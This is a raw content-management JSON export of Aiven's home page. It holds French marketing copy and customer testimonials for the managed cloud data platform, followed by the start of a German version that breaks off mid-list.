appliquer les politiques organisationnelles une seule fois à travers votre infrastructure de données. Aiven offre une sécurité de bout en bout avec des machines virtuelles dédiées, un cryptage en transit et au repos, des mises à jour de sécurité automatisées, et plus encore. Nos services sont conformes aux normes ISO 27000, GDPR, CCPA, HIPAA et PCI-DSS."}],"markDefs":[],"style":"normal"}],"title":"Gérez la sécurité et la conformité","variant":"icon-card"},{"_key":"iopkevxie4asjud0p78i2wkc6rbpa3fe","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-2f0ec2a798fc88e9dba0d032d62808bf5b885e3c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"neck29e5ipufjtwvy7iu8ggpbi5q91yu","_type":"block","children":[{"_key":"ckkghtm8xs8cnne9iozs8nhofcs2yfu1","_type":"span","marks":[],"text":"La gestion de l'infrastructure de données peut retarder les cycles de développement des applications. Aiven déploie votre infrastructure de données dans n'importe quel cloud en quelques clics pour augmenter la rapidité de vos initiatives. Aiven fournit également des insights exploitables basés sur l'IA pour accélérer le développement, optimiser les charges de travail et réduire le temps de résolution des problèmes."}],"markDefs":[],"style":"normal"}],"title":"Accélérez le développement des applications","variant":"icon-card"},{"_key":"c3nu3zvnxc37rao0lz5tl1lggow8y47i","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-c05eaf1c20a2726f4c976ed070dbbce0398110b3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"no11q9sr9ofujq8awe8d6j178bnw8jqc","_type":"block","children":[{"_key":"yytyx0qolbpj8ewek198q2ki9u51jmwf","_type":"span","marks":[],"text":"La multiplicité des fournisseurs et des outils ajoute de la complexité et des risques opérationnels. Aiven vous donne un meilleur contrôle de la gestion de votre infrastructure de données en standardisant la sécurité, la gouvernance, l'observabilité et la visualisation via une plateforme unique et unifiée."}],"markDefs":[],"style":"normal"}],"title":"Consolidez votre infrastructure de données","variant":"icon-card"},{"_key":"mab7y8tcp9wk8t0qbkdvv6t0mqiflp87","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"248b7ef13a9f","_type":"block","children":[{"_key":"bec47f37d37c","_type":"span","marks":[],"text":"Lorsque vous avez besoin d'aide pour quelque raison que ce soit, Aiven est à vos côtés. Nous offrons des services d'experts pour vous guider sur votre chemin et des niveaux de support qui répondent aux exigences les plus strictes des entreprises en matière de meilleures pratiques, de qualité technique et de rapidité de résolution des problèmes."}],"markDefs":[],"style":"normal"}],"title":"Bénéficiez d'un service et d'un support de classe mondiale","variant":"icon-card"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Commencez gratuitement"},"roundedCorners":"rounded-b","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Contactez nos experts"}},{"_key":"u7120mht5zbh5awxdw8b46jp3qj17osd","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-7f2829964f60c531513a4a9c7bcfc461bf3ba604-5000x2625-jpg","_type":"reference"}},"imagePosition":"center","mediaWidth":"w-full","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"},"title":"En savoir plus"},"roundedCorners":"rounded-tl","text":[{"_key":"0cgz2u19b6elt2qmrjcm7plox7hvmdar","_type":"block","children":[{"_key":"146405b2da2b","_type":"span","marks":[],"text":"Résolvez les problèmes de performance des bases de données PostgreSQL® et MySQL en quelques secondes, obtenez des recommandations d'optimisation instantanées et réduisez le coût de vos bases de données.\n\nAlimenté par EverSQL by Aiven."}],"markDefs":[],"style":"normal"}],"title":"Optimisez les charges de travail de votre base de données avec l'IA","topOverlap":false,"variant":"mediaLeft"},{"_key":"mjfog0iyljhyeu0fno8t7cmz6711qi12","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"items":[{"_key":"ty30caavew8265w66y2ygs0k00qssj6m","_type":"tabItem","content":[{"_key":"yvr051b1emeiuue7y8l8eyx2j5ds8acx","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"e97jwb8f7x1d23nut82s4bn5hhpqrana","_type":"testimonialItem","company":{"_ref":"d9c42125-e7a0-4947-ae50-0ecc71c3c62e","_type":"reference"},"content":[{"_key":"d60177e2f202","_type":"block","children":[{"_key":"862a8be820220","_type":"span","marks":[],"text":"Une des raisons pour lesquelles nous avons choisi Aiven, par opposition à d'autres solutions que nous avons examinées, est qu'Aiven nous permettait de gérer les services dans notre propre cloud et notre propre infrastructure."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","title":"Lire le témoignage client"},"jobTitle":"CTO, Supermetrics","name":"Duleepa \"Dups\" Wijayawardhana","ytId":"oQIjSwWxE14"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"supermetrics","image":{"_type":"mainImage","asset":{"_ref":"image-23003fdfdf4f0b3a9ff87d092bb14d2ae97fb177-800x182-png","_type":"reference"}},"imageHeight":30,"title":"Supermetrics"},{"_key":"x4a0ltfzogps7znlenf6rfonhlgs2372","_type":"tabItem","content":[{"_key":"1u7pubmrzq8prvn2h0rvfc5dv6a2uhxq","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"7ysoekc54s43oyd19w858wq81aw9hbk1","_type":"testimonialItem","company":{"_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"},"content":[{"_key":"c57ce9b60f65","_type":"block","children":[{"_key":"39b90131851c0","_type":"span","marks":[],"text":"Nous avions besoin d'une solution qui ne nous lierait pas, et l'agilité cloud d'Aiven nous a offert cela. Si un fournisseur cloud n'était pas disponible dans un certain territoire, nous pouvions simplement changer en un clic – un avantage majeur pour notre entreprise."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","title":"Lire le témoignage client"},"image":{"_type":"mainImage","asset":{"_ref":"image-e7b4dee42866fc767de33d23af4cab54d8c6ed94-1812x978-jpg","_type":"reference"}},"jobTitle":"Responsable des bases de données","name":"Julien Charlot"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"media"}],"id":"adeo","image":{"_type":"mainImage","asset":{"_ref":"image-5d603e3dbdd4205272fd6bd44d2bad0511a54721-225x110-svg","_type":"reference"}},"imageHeight":35,"title":"Adeo"},{"_key":"d6wlochpov60dm01x2bs6r8huy01hc95","_type":"tabItem","content":[{"_key":"gle2cugpf6tj2ibmsn561n840damw3o5","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"l5zrruoyqo5gsqcwre1j07f9fokaaync","_type":"testimonialItem","company":{"_ref":"6079f1b6-5fbf-4777-97d0-1621dc783637","_type":"reference"},"content":[{"_key":"f2b5b035cb31","_type":"block","children":[{"_key":"665d32891d790","_type":"span","marks":[],"text":"Avec Aiven, nos clusters Kafka sont beaucoup plus fiables qu'auparavant. Cela signifie que nos équipes peuvent se concentrer sur le cœur de métier sans se soucier de la maintenance. Il est également très facile de démarrer un nouveau cluster maintenant. Cela le rend beaucoup plus attractif et accessible pour d'autres équipes."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","title":"Lire le témoignage client"},"image":{"_type":"mainImage","asset":{"_ref":"image-c71c4ac8ac3157a70e02b8eaffc1bc1abb88c2e2-1200x628-png","_type":"reference"}},"jobTitle":"Ingénieur cloud senior, idealo","name":"Wanis Fahmy"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"media"}],"id":"idealo","image":{"_type":"mainImage","asset":{"_ref":"image-8fdf2cff104a37a3df84cdb80f753d4218dcdc5a-657x200-png","_type":"reference"}},"imageHeight":30,"title":"Idealo"},{"_key":"4joqxolmzt1hvobdfq1nsgqf2ld9dx20","_type":"tabItem","content":[{"_key":"4t4r7dezlyift0bx1sor7imfl70n18k3","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"lm8qlbflhbyn34510d411sd71dij5ozw","_type":"testimonialItem","company":{"_ref":"yvkqRSBe6LC3RTgyKXyOf","_type":"reference"},"content":[{"_key":"ebc5d493ebad","_type":"block","children":[{"_key":"726c0a0e5a690","_type":"span","marks":[],"text":"En passant à Aiven pour Apache Kafka, nous avons maîtrisé les coûts. Nous avons un prix fixe par mois et par cluster Apache Kafka®, ce qui signifie que non seulement nous avons réduit les coûts, mais les coûts sont prévisibles et le resteront à mesure que nous continuerons à nous développer."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","title":"Lire le témoignage client"},"image":{"_type":"mainImage","asset":{"_ref":"image-29837dbb79cfab97a30e4cdd028722e2a6bb2980-3295x1724-png","_type":"reference"}},"jobTitle":"DevOps Team Lead","name":"Yotam Cohen"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"media"}],"id":"talonone","image":{"_type":"mainImage","asset":{"_ref":"image-a97f28927d3bc8905ab1c28079fafd85158a9ba8-1600x390-svg","_type":"reference"}},"imageHeight":35,"title":"Talon.One"},{"_key":"hqam6a2sgd5n745ng2xzb4c3jjp689kh","_type":"tabItem","content":[{"_key":"y9hy2yl993gz5shccmxe8sudvdpcmom7","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"c6kcdwgnsbjjhowggscpyfc6jemkxj9e","_type":"testimonialItem","company":{"_ref":"776ed73c-e4cd-4a39-8542-a086159e296d","_type":"reference"},"content":[{"_key":"42b06a981c95","_type":"block","children":[{"_key":"d68ede2efa5e0","_type":"span","marks":[],"text":"La base de données e-commerce traite 11,2 millions de requêtes par heure tout en offrant une disponibilité de 99,99 % et une latence inférieure à 1 milliseconde grâce à Aiven. Responsable SRE et technologie cloud, Conrad Electronic"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","title":"Lire le témoignage client"},"image":{"_type":"mainImage","asset":{"_ref":"image-71f8ecaa4cfc0cb3e65a7cf638bc534affc03881-1804x1042-png","_type":"reference"}},"jobTitle":"Head of SRE and Cloud Technology, Conrad Electronic","name":"Janek Wonner"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"media"}],"id":"conrad","image":{"_type":"mainImage","asset":{"_ref":"image-b9548cd138f54438c8efd8d6a8d54e58860f1970-1024x270-svg","_type":"reference"}},"imageHeight":30,"title":"Conrad"},{"_key":"tw1ywewdothxw6qv5bhxdonfuf7qtfc8","_type":"tabItem","content":[{"_key":"exge2ih7oqiwdwpaxqsm7ze8itoic1sh","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"qp2cqlwm40nqxrumu3j7d0p1kycef0ki","_type":"testimonialItem","company":{"_ref":"17IOucz0A2afQRoggZvU06","_type":"reference"},"content":[{"_key":"0cf051a46d46","_type":"block","children":[{"_key":"f755bc2212660","_type":"span","marks":[],"text":"Swift Solutions, un service de livraison et d'exécution de commandes, a économisé 30 à 40 % du coût total de possession (TCO) avec Aiven.\n"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","title":"Lire le témoignage client"},"image":{"_type":"mainImage","asset":{"_ref":"image-7432cedbf6e01d9fe3953ba9688355a4b1ba8b5f-1920x1037-jpg","_type":"reference"}},"jobTitle":"CTO, Swift Solutions","name":"Alfi Zainuddin"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"swift","image":{"_type":"mainImage","asset":{"_ref":"image-f96c9ead9de8adf6edabc4ac93c52b9412244344-747x428-svg","_type":"reference"}},"imageHeight":48,"title":"Swift"},{"_key":"ogopwnco5u1rj9z66woljn5op854aspf","_type":"tabItem","content":[{"_key":"cjzepzbz1d47vra04chcty4ctezbjsoi","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"50prhym00dkvyifpd4w18g2w4zicgod7","_type":"testimonialItem","company":{"_ref":"a1b1HCA1GLpib0GtaoJrT","_type":"reference"},"content":[{"_key":"66c21492ef37","_type":"block","children":[{"_key":"45519a13476d0","_type":"span","marks":[],"text":"La solution Kafka gérée d'Aiven a réduit nos dépenses d'exploitation de 70 %, a permis un processus de développement agile, a accéléré notre mise sur le marché, et nous a permis de conserver un contrôle total sur nos données."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","title":"Lire le témoignage client"},"image":{"_type":"mainImage","asset":{"_ref":"image-699f3b76f259ec86b9716b46ae047eb58180f9e4-1920x1038-jpg","_type":"reference"}},"jobTitle":"VP de l'ingénierie, Mirakl","name":"Nagi Letaifa"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"media"}],"id":"mirakl","image":{"_type":"mainImage","asset":{"_ref":"image-3c7262d7b3ed8f0bbba8c081868828ae144d38f5-809x178-svg","_type":"reference"}},"imageHeight":30,"title":"Mirakl"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-br","subtitle":[{"_key":"ac2053916580","_type":"block","children":[{"_key":"43bf4cfacd200","_type":"span","marks":[],"text":"Aiven permet aux entreprises de toutes tailles, des startups aux entreprises du Fortune 500 dans des secteurs diversifiés dans plus de 60 pays, de créer des applications de nouvelle génération rapidement et en toute confiance."}],"markDefs":[],"style":"normal"}],"tagline":"POURQUOI AIVEN","title":"Plus de 1 000 clients dans le monde"},{"_key":"8oy5cyiag6pjnnr8cayogktu7iy4jlbp","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"850796fe4f7c","_ref":"a988347e-78a9-4d62-93df-2e7d9d398191__i18n_fr","_type":"report"},{"_key":"9dd949330c76","_ref":"a79841f2-b791-4192-86c0-a6532b59cb2f__i18n_fr","_type":"caseStudy"},{"_key":"1b4c20f7bb91","_ref":"7455e64b-e73e-4edd-86fa-be656d250d3c__i18n_fr","_type":"caseStudy"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Découvrez nos dernières ressources"},{"_key":"7uixa74jqgwpsyo7sw7bazymohfsq6p7","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-ba35631acc0eb21098da3e2f4d7d78198ce29710-2528x428-png","_type":"reference"}},"imagePosition":"center","mediaWidth":"sm","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Commencez gratuitement"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Réservez une démonstration"},"text":[{"_key":"868d206437a1","_type":"block","children":[{"_key":"1e5e1d75304d","_type":"span","marks":[],"text":"Aiven simplifie la gestion des infrastructures de données cloud. Déployez un service sur la plateforme Aiven en 10 minutes - sans carte de crédit. Choisissez votre service Aiven, ainsi que le cloud et la région où le déployer. Vous serez opérationnel en quelques minutes."}],"markDefs":[],"style":"normal"}],"title":"Essayez Aiven gratuitement","topOverlap":false,"variant":"mediaCenter"}],"modals":[],"seo":{"_type":"metaData","metaDescription":"Aiven simplifies cloud data infrastructure management by deploying open-source technologies across multiple clouds, enabling fast and confident creation of next-generation applications.","metaImage":{"_type":"mainImage","alt":"Aiven.io","asset":{"_ref":"image-22da5521b08c529b241d9b01a3aec010441a3f11-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven\",\n \"@type\": \"Organization\",\n \"sameAs\": [\n \"https://twitter.com/aiven_io\",\n \"https://www.linkedin.com/company/aiven\"\n ],\n \"@context\": \"http://schema.org\",\n \"location\": [\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Helsinki, Finland\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Berlin, Germany\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Paris, France\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Boston, MA\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Sydney, Australia\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Toronto, Canada\"\n }\n ],\n \"legalName\": \"Aiven Oy\",\n \"description\": \"Aiven simplifies cloud data infrastructure management by deploying open-source technologies across multiple clouds, enabling fast and confident creation of next-generation applications.\",\n \"contactPoint\": [\n {\n \"@type\": \"ContactPoint\",\n \"email\": \"sales@aiven.io\",\n \"contactType\": \"sales\"\n }\n ],\n \"foundingDate\": \"2016\",\n \"subOrganization\": [\n {\n \"name\": \"Aiven Inc.\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven Deutschland GmbH\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven Australia Pty Ltd\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven Canada Ltd\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven France SAS\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven (Singapore) Pte. Ltd\",\n \"@type\": \"Organization\"\n }\n ]\n}","metaTitle":"Aiven - Your Trusted Data \u0026 AI Platform"},"slug":{"_type":"slug","current":"/"},"title":"Home Page"} {"__i18n_base":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"__i18n_lang":"de","_createdAt":"2023-05-04T14:20:09Z","_id":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de__i18n_de","_rev":"w5Y1buu43ZclY4xZZpknyi","_type":"page","_updatedAt":"2025-01-08T15:14:06Z","content":[{"_key":"0uib1bv6p5puwdez987t9199aj9dm6wx","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"description":[{"_key":"ccbdf68c6825","_type":"block","children":[{"_key":"1bfe150c97d10","_type":"span","marks":[],"text":"Beschleunigen Sie die Markteinführung, steigern Sie die Effizienz und entwickeln Sie innovative Lösungen in jeder Cloud mit einer einheitlichen Daten- und KI-Plattform."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"hideHostProviderTitle":true,"imageSize":"large","noSpaceBottom":true,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Kostenlos starten"},"roundedCorners":"rounded-none","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Demo buchen "},"title":"Aiven-Plattform","variant":"compact"},{"_key":"c0b9hr89qkeodis0rqgv08oqx5qk43rf","_type":"marketecture","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"items":[{"_key":"io5g9mxaxljy9zbzwd34rbpgeunb5vmq","_type":"accordionItem","id":"unify","panelText":[{"_key":"14be810f6e1c","_type":"block","children":[{"_key":"53dbfd2a5ce30","_type":"span","marks":[],"text":"Vereinfachen Sie Ihre Cloud-Dateninfrastruktur mit einer gemeinsamen Plattform."}],"markDefs":[],"style":"normal"},{"_key":"oju0xcipf5vrxy5yy4o9a7hunyftzbuw","_type":"block","children":[{"_key":"3fk6quk10grn6eanrxhcbx0y5s92nk9v","_type":"span","marks":["strong"],"text":"Optimieren Sie die Bedienung mit einer einzigen Steuerungsebene: "},{"_key":"65793c019bee","_type":"span","marks":[],"text":"Verwalten Sie Ihre gesamte Dateninfrastruktur von einem Ort aus, reduzieren Sie die Komplexität und sparen Sie Entwicklungszeit."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e329d177b6b9","_type":"block","children":[{"_key":"c79d582b3e160","_type":"span","marks":["strong"],"text":"Zugriff auf beliebte Open-Source-Dienste in einer oder mehreren Clouds:"},{"_key":"cfaf886b603a","_type":"span","marks":[],"text":" Wählen Sie die besten Datendienste für Ihre Anforderungen und stellen Sie sie nahtlos über verschiedene Cloud-Anbieter bereit. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2e5883a63f0a","_type":"block","children":[{"_key":"0d7c328642a1","_type":"span","marks":["strong"],"text":"Gewährleisten Sie Datensicherheit und Compliance:"},{"_key":"b80528b774a7","_type":"span","marks":[],"text":" Zentralisieren Sie Kontrolle, Sicherheit und Nachvollziehbarkeit über alle Ihre Cloud-Umgebungen hinweg."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Gemeinsame Plattform"},{"_key":"bc9nmayikjibhdmyzty05ihbz1fzwzuc","_type":"accordionItem","id":"categories","panelText":[{"_key":"8ccfa752f05e","_type":"block","children":[{"_key":"961dc9fd8b720","_type":"span","marks":[],"text":"Beliebte Open-Source-Dienste einmal bereitstellen und sie in jeder Cloud nutzen. Mit Tools, die Sie bereits verwenden, um Ihre geschäftskritischen Daten zu streamen, zu speichern und bereitzustellen. "}],"markDefs":[],"style":"normal"},{"_key":"3e33dc713358","_type":"block","children":[{"_key":"d082b2135f7c","_type":"span","marks":["strong"],"text":"Optimieren Sie Datenpipelines:"},{"_key":"76108b18b29a","_type":"span","marks":[],"text":" Erstellen Sie mit wenigen Klicks komplexe, integrierte Pipelines, die verschiedene Datendienste wie Aiven for PostgreSQL®, Apache Kafka®, Apache Flink® und ClickHouse® miteinander verbinden. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e0b1d11c925c","_type":"block","children":[{"_key":"e73654a3f511","_type":"span","marks":["strong"],"text":"Datenspeicherung und Compliance:"},{"_key":"0932a3105ab3","_type":"span","marks":[],"text":" Sichern Sie die Einhaltung von Vorschriften mit abgestuften Speicheroptionen für Apache Kafka und ClickHouse. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9e2268ba79c8","_type":"block","children":[{"_key":"6e80a034e781","_type":"span","marks":["strong"],"text":"Open-Source-Datenbanken nach Bedarf:"},{"_key":"fb0f3ebef8a6","_type":"span","marks":[],"text":" Greifen Sie auf eine breite Palette von Open-Source-Datenbanken zu, darunter PostgreSQL®, MySQL®, Valkey® und Cassandra®. Umfassende Integrationen: Nahtlose Anbindung an externe Datenquellen und -senken über \"Managed Connectors\"."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Nahtloses Speichern, Streamen und Bereitstellen von Daten"},{"_key":"xxrs6vm3bbqse4atd9hssl9xawb2612f","_type":"accordionItem","id":"observe","panelText":[{"_key":"dqt2rdw0rdctw09j0ld07g8emn7iasp3","_type":"block","children":[{"_key":"1b7758744221","_type":"span","marks":[],"text":"Verschaffen Sie sich einen ganzheitlichen Überblick über die Performance Ihrer Dateninfrastruktur, um die durchschnittliche Zeit für die Auflösung von Störungen zu verkürzen und Ausfälle zu vermeiden. "}],"markDefs":[],"style":"normal"},{"_key":"f3d4cmo10cncp1pl7e36qtn6ahrq3e6a","_type":"block","children":[{"_key":"oezg5fc3glvcgpc5w8hjji5mvfhrxwee","_type":"span","marks":["strong"],"text":"Optimieren Sie die Datenerfassung:"},{"_key":"269bfec5fbc6","_type":"span","marks":[],"text":" Erfassen Sie Logs und Metriken mit einem Klick und nutzen Sie die OpenTelemetry-Unterstützung."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"t41ztx9h6v1lmkraewq5eat6ak32xtsa","_type":"block","children":[{"_key":"mp01z0d9wal3yuafmur1wnfnsdwyppum","_type":"span","marks":["strong"],"text":"Nahtlose Integration:"},{"_key":"f938be9880dd","_type":"span","marks":[],"text":" Verbinden Sie sich mit beliebten Monitoring-Tools wie Datadog und CloudWatch, um einen besseren Einblick zu erhalten."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"j13bexr1g3thar3s4vzudhdvyo5wlzlr","_type":"block","children":[{"_key":"ojtz2xr9co1j6whbrrxskpg9sjiv2a7c","_type":"span","marks":["strong"],"text":"Verbesserte Überwachungsfunktionen:"},{"_key":"9f3084c571ee","_type":"span","marks":[],"text":" Zustandsüberwachung 24/7, zentralisierte Protokollverwaltung und anpassbare Warnmeldungen. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"obt97s5bqxxjor1oybo0gyyj9enyo9ry","_type":"block","children":[{"_key":"05yctwdh1n8w9l4ekap3ko1eo0c09bij","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Beobachten jenseits von Metriken"},{"_key":"xviz21iwnh69i09qbto01ftkcfi3j18r","_type":"accordionItem","id":"optimize","panelText":[{"_key":"cb1fe1b5017a","_type":"block","children":[{"_key":"f558b7a9a8f80","_type":"span","marks":[],"text":"Leistung, Kosten und Entwicklerproduktivität durch die Automatisierung der Dateninfrastruktur optimieren."}],"markDefs":[],"style":"normal"},{"_key":"2gw4p4yakz93sf5kmjyb6pdwvrrt9bjz","_type":"block","children":[{"_key":"7ebkudtw6ijhpkddo2i002xruran4iom","_type":"span","marks":["strong"],"text":"AI-basierte Einblicke:"},{"_key":"33cb41732d0f","_type":"span","marks":[],"text":" Erhalten Sie wertvolle Analysen, Datenbank-Einblicke und Abfragevorschläge durch den AI-basierten EverSQL-Engine."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"uy403u6euzkox4rkvktnws4jbwh8roe8","_type":"block","children":[{"_key":"nvo2h4us0pbspulo41o75oir7g6m38h3","_type":"span","marks":["strong"],"text":"Datenbankoptimierung:"},{"_key":"1f1986ca5936","_type":"span","marks":[],"text":" Schreiben Sie leistungsstarken Code und identifizieren Sie Performance-Probleme schnell mit dem Aiven AI Database Optimizer."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"jc9dmvhh7cgkc1hd54j03uhgenhnyp09","_type":"block","children":[{"_key":"385mem2dtqfs9sgjp74npfy09cbigq1d","_type":"span","marks":["strong"],"text":"Cloud-Flexibilität:"},{"_key":"dd3697a51598","_type":"span","marks":[],"text":" Stellen Sie Aiven auf Ihrer bevorzugten Cloud-Plattform (AWS, Google oder Azure) bereit und nutzen Sie Ihre bestehenden Rabatte."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Optimieren für maximale Performance"},{"_key":"yhucg7aqlqwaqfg2nkwb0nj165zlsu5h","_type":"accordionItem","id":"secure-govern","panelText":[{"_key":"2c1da695688e","_type":"block","children":[{"_key":"8b60124f3b7f0","_type":"span","marks":[],"text":"Zentralisieren Sie Datenmanagement, Sicherheit und Compliance auf einer einzigen Plattform. Erweiterte Sicherheitsmaßnahmen: Schützen Sie Ihre Daten und gewährleisten Sie gleichzeitig die Einhaltung von Vorschriften mit unseren End-to-End-Sicherheitsmaßnahmen."}],"markDefs":[],"style":"normal"},{"_key":"iwev8ozeg1pbdbx3a8di2xu0dv0z7i6d","_type":"block","children":[{"_key":"rbrc08u8ioppcshp3y0a1123t2kc3lnq","_type":"span","marks":["strong"],"text":"Zuverlässige Compliance:"},{"_key":"f34623d6f5f7","_type":"span","marks":[],"text":" Erfüllen Sie Sicherheits- und Datenschutzstandards wie ISO 27001, SOC2, HIPAA, PCI-DSS und 